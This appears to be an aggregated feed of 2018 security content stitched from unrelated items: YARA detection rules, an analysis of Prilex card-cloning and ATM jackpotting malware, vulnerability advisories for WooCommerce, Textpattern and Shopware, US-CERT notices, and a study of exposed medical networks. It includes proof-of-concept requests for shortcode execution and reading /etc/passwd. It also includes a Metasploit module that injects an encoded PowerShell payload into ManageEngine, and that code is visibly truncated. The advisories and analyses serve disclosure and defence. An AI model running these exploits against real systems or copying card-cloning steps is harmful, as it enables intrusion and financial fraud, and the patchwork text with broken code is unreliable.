      $dir2 = “word/theme/theme1.xml” ascii

      $style = “word/styles.xml” ascii


      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd


rule z_webshell



            description = “Detection for the z_webshell”

            author = “DHS NCCIC Hunt and Incident Response Team”

            date = “2018/01/25”

            md5 =  “2C9095C965A55EFC46E16B86F9B7D6C6”


            $aspx_identifier1 = “<%@ ” nocase ascii wide

            $aspx_identifier2 = “<asp:” nocase ascii wide

            $script_import = /(import|assembly) Name(space)?\=\”(System|Microsoft)/ nocase ascii wide

            $case_string = /case \”z_(dir|file|FM|sql)_/ nocase ascii wide

            $webshell_name = “public string z_progname =” nocase ascii wide

            $webshell_password = “public string Password =” nocase ascii wide


            1 of ($aspx_identifier*)

            and #script_import > 10

            and #case_string > 7

            and 2 of ($webshell_*)

            and filesize < 100KB


Goodfellas, the Brazilian carding scene is after you

There are three ways of doing things in the malware business: the right way, the wrong way and the way Brazilians do it. From the early beginnings, using skimmers on ATMs, compromising point of sales systems, or even modifying the hardware of processing devices, Latin America has been a fertile ground for collecting credit and debit cards en masse.

Brazil started the migration to EMV cards in 1999 and nowadays almost all cards issued in the country are chip-enabled. A small Java-based application lives inside this chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most (if not all) point of sale systems. Having this knowledge has enabled the criminals to update their activities, allowing them to create their own cards featuring this new technology and keeping them “in the business.”

Enter the world of Brazilian malware development, incorporating every trick in the book and adding a custom made malware that can easily collect data from chip and PIN protected cards; all while offering a nicely designed interface for administering the ill-gotten information, validating numbers, and offering their “customers” an easy to use package to burn their cloned card.

“Seu cartão vou clonar”: not only a crime but a lifestyle

According to the 2016 Global Consumer Card Fraud: Where Card Fraud Is Coming From, “At this point in time, the assumption should be that almost all users’ credentials and/or card information has been compromised. The underground economy for user information has matured so much that it is indistinguishable from a legitimate economy.”

In addition, when we are faced with the current credit card fraud statistics, we found that in 2016, Mexico was in the lead with 56% of residents reporting experiencing card fraud in the past five years. Brazil comes in second at 49%, and the U.S. in third with 47%. It’s worth noting that approximately 65% of the time, credit card fraud results in a direct or indirect financial loss for the victim, with an average reported loss of $1,343 USD.

While traditional criminal activities in Brazil regarding computer crime have included banking trojans, boletos, and all sorts of different malware, cloning credit and debit cards for a living is more than a day job for some. With MCs rapping about the hardships of obtaining new plastic, and how easy the money starts flowing once they get in the game, there’s no shortage of options being offered for infecting ATMs, point of sales systems, or directly stealing credit card numbers from the users.

One of the many Youtube channels sharing tutorials and real life stories on being a Brazilian carder.

There are tutorials, forums, instant message groups, anything and everything as accessible as ever; making this industry a growing threat for all Brazilians. When it comes to Prilex, we are dealing with a complete malware suite that gives the criminal full support in their operations, all with a nicely done graphical user interface and templates for creating different credit card structures, being a criminal-to-criminal business. While cloning chip and PIN protected cards has already been discussed in the past, we found Prilex and its business model something worth sharing with the community; as these attacks are becoming easier to perform and the EMV standard hasn’t been able to keep up with the bad guys.

Anything they wanted was an ATM infection away

The first notable appearance of the Prilex group was related to an ATM attack targeting banks located primarily in the Brazilian territory. Back then, criminals used a black box device configured with a 4G USB modem in order to remotely control the machine. By opening a backdoor to the attacker, they could hijack the institution’s wireless connection and target other ATMs at their will.

At the time, the malware that was used to dispense money at will, was developed using Visual Basic version 6.0; a reasonably old programming language that is still heavily used by Brazilian criminals. The sample was using a network protocol tailored specifically to communicate to its C2 allowing the attacker to remotely dig deeper in the ATM system and collect all the necessary information in order to perform further attacks.

After obtaining initial access to the network, the attacker would run a network recognition process to find the IP address of each of the ATMs. With that information at hand, a lateral movement phase would begin, using default Windows credentials and then installing a custom crafted malware on the most promising systems. The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and sending remote commands to dispense the money.

ATM version of Prilex patching legitimate software for jackpotting purposes.

The malware was developed to target not only the ATMs with the jackpotting functionality but also the bank’s customers due to a function which enables the malware to steal the magnetic stripe information once the client use the infected ATM: cloning and jackpotting on the same package.

Targeting point of sales systems and expanding functionality

While hunting new samples related to the ATM attack, we found a new sample matching the previously dissected communication protocol. In fact, the protocol (and code) used by this new sample had been updated a bit in order to support extended functionality.

Code similarity of the ATM and Point of Sale samples from the Prilex family.

The main module contains different functions that allow the attacker to perform a set of debugging operations on the victim’s machine as well as performing the attack itself.

  • Remote administration using “Ammyy Admin”.
  • Upload/download files from/to infected computer.
  • Capture memory regions from a process.
  • Execute shell commands.
  • Update main module.
  • Patch libraries in order to allow capturing card information.

Functions handled by the malware.

The main purpose of the malware is to patch the point of sales system libraries, allowing it to collect the data transmitted by the software. The code will look for the location of a particular set of libraries in order to apply the patch thus overwriting the original code.

Log strings referring the patch applied by the malware.

With the patch in place, the malware collects the data from TRACK2, such as the account number, expiration date, in addition to other cardholder information needed to perform fraudulent transactions. The PIN is never captured by the malware, since is not needed as we will see later.

Using DAPHNE and GPShell to manage your Smart Card

After the information is exfiltrated to the C2 server, it’s read to be sold in the blackmarket as a package. The criminals provide access to a tool called Daphne ,which is responsible for managing the credit card information acquired and ultimately writing it to the cloned cards.

The Daphne “client” has the option to choose which type of card it wants to write, debit or credit; then the information will be validated on the server only to be written to the card once all necessary tests are passed. The new card, which is connected to the smart card writer, will receive the new information via GPShell scripts in charge of setting up the card’s structure and creating the “golden card”.

Function to write the card data as credit or debit, or just copy the information to the clipboard.

After using the card, the criminal is able to keep track of how much money is possible to withdraw. While we are not sure how this information is being used, Prilex’s business model encourages users to register which cards are valid and the amount that they have paid off. This could enable reselling the cards in other venues and charging differential prices depending on their status.

After a card stops working (marked as “dead”), the criminal will fill the information about how much money was stolen from that card, if any.

Since Daphne is designed as a client/server application, several individuals can query the same information at once, and all modifications on the cards are synchronized with a central database. This behavior enables crews to work on the same set of information, allowing the connected user to create a new card directly from the interface and allowing the tool to decide the best template to use and how to preset the card.

Do not panic, but your credit card might be running Java

The EMV standard and supporting technology is in fact a robust framework that can provide much more security than the traditional magnetic stripe. Unfortunately, due to a bad implementation of such technology, it’s possible for criminals to abuse it and clone an EMV supported card with information stolen from the victim.

However, this technique is not entirely new and also not specific to Brazil. We have seen the same TTPs in other malware families, being sold on underground forums and targeting banks in Europe and other countries in Latin America such as Mexico and Argentina

In addition, the tool has an option to communicate with Smart Card devices by using GPshell in order to create a fake card with the stolen information.

Commands sent to GPshell in order to check for a Smart Card.

The commands above are responsible for checking if the Smart Card can be accessed, and if so it will enable the option to write the information to the fake card. Some commands used here are not generic and not usually found on a normal transaction.

Since they cannot manipulate all the information of the ‘chip and PIN’ technical standard, they need to modify the application responsible for validating the transaction. In order to do that, they install a modified CAP file (JavaCard applet) to the Smart Card, then when the PoS tries to validate the PIN, it will always accept as well as bypass all other validation processes. Due to the fact that most of the payment operators do not perform all validations as required by the EMV standard, the criminals are able to exploit this vulnerability within the process in advantage of their operation.

Commands used to install the malicious CAP file to the Smart Card.

Furthermore, GPshell sends commands to replace the PSE (Payment System Environment) by deleting the original one and installing a malicious counterpart. After that, the Smart Card just needs the stolen information to be written and it will be ready to use on PoS devices.

Commands sent to the card to write all data.

In this step, the script executed by GPShell contains all the necessary information in order for the point of sales terminal to perform the payment operation. The given script contains data extracted from original cards that are necessary to perform the authorization with the card operator.

One of the most relevant data written by this script is the Application Interchange Profile, changed in order to enable Static Data Authentication (SDA) and Signed Static Application Data (SSAD). This section contains the data signed by the card issuer that should be validated to guarantee that the information from the card was not counterfeited. However, the issuer has to decide which data should be protected by the signed information and based on our research, we found that most of the cards only have the Application Interchange Profile data signed, making the SSAD data valid even with a modified TRACK2 and a different cardholder’s name.

Getting the hardware and the blank cards is not as difficult as it sounds

Buying the equipment is quite cheap and surprisingly easy. To perform the attack, criminals just need to have a Smart Card Reader/Writer and some empty smart cards. Everything can be easily found online and since those tools can also be used in a legitimate way, there is no problem buying it.

JCop cards costing around $15 USD.

A basic reader/writer can be bought for less than $15 USD.

As we can see, the necessary equipment can be acquired by less than $30 USD, making it really affordable and easy for everyone to buy (not that anyone should!).

Smart Cards, the EMV standard, and the Brazilian carding scene

Industry reports, such as The Nilson Report, states that credit card fraud in 2016 has represented losses of $22.80 billion USD worldwide. And by 2020, card fraud worldwide is expected to total $31.67 billion USD.

Since that day in 1994, where Europay, MasterCard, and Visa developed this technology with the goal of ending fraud once and for all, several speed bumps have been found along the way, making theft and counterfeiting of payment card data more difficult for criminals in each iteration. It’s interesting to see how the liability of a fraud incident has been theoretically moved over the years from the customer, to the merchants, then to the bank; when in reality is the customer the one that always deals with the worst part of the story.

To be continued…

The crew behind the development of Prilex has demonstrated to be a highly versatile group, active since at least 2014 and still operating, targeting primarily Brazilian users and institutions. The motivation behind each of their campaigns has been repeatedly proven as solely monetary, given their preference for targets in the financial or retail industry.

Luckily, the banks and operators in Brazil have been investing a lot in technologies to improve their systems and avoid fraudulent transactions, allowing them to identify those techniques and preparing them for what’s to come. However, some countries in Latin America are not as evolved when it comes to credit card technologies and still rely on plain old magnetic stripe cards. Other countries are just starting to actively implement chip-and-pin authentication measures and have become a desirable target for criminals due to the overall lack of expertise regarding this technology.

The evolution of their code, while not technically notable, has been apparently sufficient in maintaining a constant revenue stream by slowly perfecting their business model and customer applications. The discovery of “Daphne”, a module to make use of the ill-gotten financial information and their affiliate scheme, suggests that this is a “customer oriented” group, with many levels in their chain of development; resembling what we have seen for example in the popular ATM malware Ploutus and other jackpotting operations.

This modularization, in their source code as well as their business model, constitutes Prilex as a serious threat to the financial industry, currently confined to the territory of Brazil with the uncertainty of how long it will take before it expands its operations to other regions.


7ab092ea240430f45264b5dcbd350156 Trojan.Win32.Prilex.b
34fb450417471eba939057e903b25523 Trojan.Win32.Prilex.c
26dcd3aa4918d4b7438e8c0ebd9e1cfd Trojan.Win32.Prilex.h
f5ff2992bdb1979642599ee54cfbc3d3 Trojan.Win32.Prilex.f
7ae9043778fee965af4f8b66721bdfab Trojan.Win32.Prilex.m

Our complete IOCs list, as well as YARA rules and full reports are available for Financial Intelligence Reports service customers. If you need more information about the service, please contact us at: [email protected]

WOOF WooCommerce Products Filter 1.1.9 LFI / Code Execution

SEC Consult Vulnerability Lab Security Advisory < 20180314-0 >
title: Arbitrary Shortcode Execution & Local File Inclusion
product: WOOF – WooCommerce Products Filter (PluginUs.Net)
vulnerable version: 1.1.9
fixed version: 2.2.0
CVE number: (requested but not yet received)
impact: Critical
homepage: https://pluginus.net/
found: 2018-02-20
by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America



Vendor description:
“PluginUs.Net is a little team of talented professionals from Ukraine. Unlike
most of the big companies on the net, we believe in individual approach to
every our customer. Web development is our passion and we always try to go an
extra mile over our clients’ expectations.

Our team specializes in development of WordPress plugins. It’s always exciting
to try new technologies and approaches to get the project done and impress
clients by realization of their ideas!”

Source: https://pluginus.net/about-us/

Business recommendation:
SEC Consult recommends to ugprade to the latest version available
as soon as possible. Further detailed security tests should be performed
in order to identify potential other security issues.

Vulnerability overview/description:
1. Arbitrary Shortcode Execution
The plugin implemented a page redraw AJAX function accessible to anyone
without any authentication.

WordPress shortcode markup in the “shortcode” parameters would be evaluated.
Normally unauthenticated users can’t evaluate shortcodes as they are often

Additionally, it is noted that there are other implemented shortcodes that are
being used in this plugin which can be abused through the same attack. Worst,
some of them could lead to remote code execution.

2. Local File Inclusion
The vulnerability is due to the lack of args/input validation on render_html
before allowing it to be called by extract(), a PHP built-in function. Because
of this, the supplied args/input can be used to overwrite the $pagepath
variable which then could lead to local file inclusion attack.

Proof of concept:
1. Arbitrary Shortcode Execution
The parameter “shortcode” within the “admin-ajax.php” script is affected by
the code execution vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=woof_redraw_woof&shortcode=<<shortcode without []>>

2. Local File Inclusion
The parameter “shortcode” within the “admin-ajax.php” script is affected by
the local file inclusion vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=woof_redraw_woof&shortcode=woof_search_options pagepath=/etc/passwd

Vulnerable / tested versions:
PluginUs.Net WooCommerce Products Filter version 1.1.9 has been tested and
found to be vulnerable.

Vendor contact timeline:
2018-02-20: Contacting vendor through [email protected]
2018-02-20: Vendor agreed to proceed without encrypted channel
2018-02-21: Sent security advisory to vendor
2018-02-26: Vendor sent patch containing the fixes
2018-02-26: Informed vendor the patch doesn’t fully mitigate the vulnerability
2018-03-12: Request update from vendor
2018-03-12: Vendor said they already published the patch
2018-03-14: Public release of security advisory

The vendor provides an updated version and users are urged to upgrade to version
2.2.0 immediately:



Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Ahmad Ramadhan / @2018

ManageEngine Applications Manage 13.5 Remote Code Execution

# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
‘Name’ => “ManageEngine Applications Manager Remote Code Execution”,
‘Description’ => %q{
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
An unauthenticated user can execute a operating system command under the context of privileged user.

Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
without validating user supplied parameter when the given system is OfficeSharePointServer.
‘License’ => MSF_LICENSE,
‘Author’ =>
‘Mehmet Ince <[email protected]>’ # author & msf module
‘References’ =>
[‘CVE’, ‘2018-7890’],
[‘URL’, ‘https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/’]
‘DefaultOptions’ =>
‘WfsDelay’ => 10,
‘RPORT’ => 9090
‘Payload’ =>
‘BadChars’ => “\x22”
‘Platform’ => [‘win’],
‘Arch’ => [ ARCH_X86, ARCH_X64 ],
‘Targets’ => [ [‘Automatic’, {}] ],
‘Privileged’ => true,
‘DisclosureDate’ => ‘Mar 7 2018’,
‘DefaultTarget’ => 0

OptString.new(‘TARGETURI’, [true, ‘The URI of the application’, ‘/’])

def check
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘testCredential.do’),
‘vars_post’ => {
‘method’ => ‘testCredentialForConfMonitors’,
‘type’ => ‘OfficeSharePointServer’,
‘montype’ => ‘OfficeSharePointServer’,
‘isAgentEnabled’ => ‘NO’,
‘isAgentAssociated’ => ‘false’,
‘displayname’ => Rex::Text.rand_text_alpha(10),
‘HostName’ => ‘’, # Try to access random IP address or domain may trigger SIEMs or DLP systems…
‘Version’ => ‘2013’,
‘Powershell’ => ‘True’, # 🙂
‘CredSSP’ => ‘False’,
‘SPType’ => ‘SPServer’,
‘CredentialDetails’ => ‘nocm’,
‘Password’ => Rex::Text.rand_text_alpha(3),
‘UserName’ => Rex::Text.rand_text_alpha(3)
if res && res.body.include?(‘Kindly check the credentials and try again’)

def exploit

powershell_options = {
encode_final_payload: true,
remove_comspec: true
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

print_status(‘Triggering the vulnerability’)

‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘testCredential.do’),
‘vars_post’ => {
‘method’ => ‘testCredentialForConfMonitors’,
‘type’ => ‘OfficeSharePointServer’,
‘montype’ => ‘OfficeSharePointServer’,
‘isAgentEnabled’ => ‘NO’,
‘isAgentAssociated’ => ‘false’,
‘displayname’ => Rex::Text.rand_text_alpha(10),
‘HostName’ => ‘’, # Try to access random IP address or domain may trigger SIEMs or DLP systems…
‘Version’ => ‘2013’,
‘Powershell’ => ‘True’, # 🙂
‘CredSSP’ => ‘False’,
‘SPType’ => ‘SPServer’,
‘CredentialDetails’ => ‘nocm’,
‘Password’ => Rex::Text.rand_text_alpha(3),
‘UserName’ => “$(#{p})”


Textpattern 4.6.2 SQL Injection

MGC ALERT 2018-002
– Original release date: February 12, 2018
– Last revised: March 12, 2018
– Discovered by: Manuel GarcAa CA!rdenas
– Severity: 7,1/10 (CVSS Base Score)
– CVE-ID: CVE-2018-7474

SQL Injection in Textpattern <= 4.6.2

Textpattern is a free and open-source content management system (CMS) based
on PHP and MySQL, originally developed by Dean Allen and now developed by
Team Textpattern.

This bug was found using the portal with authentication as administrator.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable “qty” on the page

The following URL’s and parameters have been confirmed to all suffer from
SQL injection.


Note: the variable “_txp_token” doest not work as a anti-csrf.



Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

Textpattern <= 4.6.2

Disable website until a fix is available.


This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

February 12, 2018 1: Initial release
March 12, 2018 2: Revision to send to lists

February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
February 12, 2018 2: Send to vendor without response
February 26, 2018 3: Second email to vendor without response
March 12, 2018 4: Send to the Full-Disclosure lists

The information contained within this advisory is supplied “as-is” with no
warranties or guarantees of fitness of use or otherwise.

Manuel Garcia Cardenas

Mozilla Releases Security Updates for Firefox

Original release date: March 13, 2018

Mozilla has released security updates to address vulnerabilities in Firefox and Firefox ESR. An attacker could exploit some of these vulnerabilities to take control of an affected system.

NCCIC/US-CERT encourages users and administrators to review the Mozilla Security Advisories for Firefox 59 and Firefox ESR 52.7 and apply the necessary updates.

This product is provided subject to this Notification and this Privacy & Use policy.

Microsoft Releases March 2018 Security Updates

Original release date: March 13, 2018

Microsoft has released updates to address vulnerabilities in Microsoft software. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.

NCCIC/US-CERT encourages users and administrators to review Microsoft’s March 2018 Security Update Summary and Deployment Information and apply the necessary updates.


This product is provided subject to this Notification and this Privacy & Use policy.

Shopware 5.3.7 Cross Site Request Forgery

Advisory: Shopware Cart Accessible by Third-Party Websites

RedTeam Pentesting discovered that the shopping cart implemented by Shopware
offers an insecure API. Malicious, third-party websites may abuse this API to
list, add or remove products from a user’s cart.


Product: Shopware
Affected Versions: 4.0.1 – 5.3.7
Fixed Versions: > 5.4.0
Vulnerability Type: Cross-Site Request Forgery
Security Risk: low
Vendor URL: https://shopware.com
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-012
Advisory Status: published
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


“Shopware 5 is the next generation of open source e-commerce software made in
Germany. Based on bleeding edge technologies like Symfony 2, Doctrine 2 & Zend
Framework Shopware comes as the perfect platform for your next e-commerce
project. Furthermore Shopware 5 provides an event-driven plugin system and an
advanced hook system, giving you the ability to customize every part of the
(from the Shopware GitHub repository [1])

More Details

The Shopware web application provides users with a virtual shopping cart to
collect products prior to checkout. This cart is displayed to the user as a
modal sidebar appearing at the right edge of the browser window. Consequently,
Shopware implements several API endpoints to allow JavaScript code to perform
shopping cart operations. These endpoints are implemented in the
“Shopware_Controllers_Frontend_Checkout” class and can be reached through the
following paths:

* /checkout/ajaxCart
* /checkout/ajaxAddArticleCart
* /checkout/ajaxDeleteArticleCart

RedTeam Pentesting discovered that API endpoints support JSONP by specifying a
URL parameter named callback. The origin of calls to the cart API is not
validated. Therefore, any third-party website may make use of this API. If a
customer of a Shopware shop visits a malicious, attacker-controlled website,
JavaScript code on this site may access the user’s shopping cart.

Proof of Concept

The following JavaScript snippets demonstrate how to access the cart of a
Shopware shop at “https://example.net” from a third-party website. The
“getJSON” function of jQuery 3 is used to interface with the JSONP API.

By running the following code, the contents of a cart may be retrieved. The
result of the API call is displayed on the browser’s developer console.


The following code adds a new product to the cart. In this case, two instances
of product 1234 are added.


To remove a product from a user’s shopping cart, attackers may use the
following code. An id for the “sDelete” parameter may be obtained through a
prior call to ajaxCart.



Support for JSONP should be removed from the cart AJAX API. This ensures, that
only JavaScript code from the same origin may access the API and respectively
the cart’s contents. Furthermore, operations which change the state of the cart,
i.e. adding and removing products, must be protected with CSRF tokens.


Upgrade to Shopware newer than 5.4.0.

Security Risk

This vulnerability is rated as a low risk. Disclosure of a user’s shopping cart
to attackers may negatively impact the user’s privacy. Furthermore, competing
eCommerce sites may use this information to improve sales. By adding or
removing products from a user’s cart, attackers can negatively impact a user’s
shopping experience and create support effort for the shop operator.


2017-08-28 Vulnerability identified
2017-09-13 Customer approved disclosure to vendor
2017-09-14 Vendor notified
2018-02-27 Vendor released fixed version
2018-03-13 Advisory released


[1] https://github.com/shopware/shopware
[2] https://community.shopware.com/Downloads_cat_448.html#5.4.0

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:

RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschaftsfuhrer: Patrick Hof, Jens Liebchen

Time of death? A therapeutic postmortem of connected medicine

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.


Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.

How to live with it

  • Remove all nodes that process medical data from public
  • Periodically update your installed software and remove unwanted applications
  • Refrain from connecting expensive equipment to the main LAN of your organization

More tips at “Connected Medicine and Its Diagnosis“.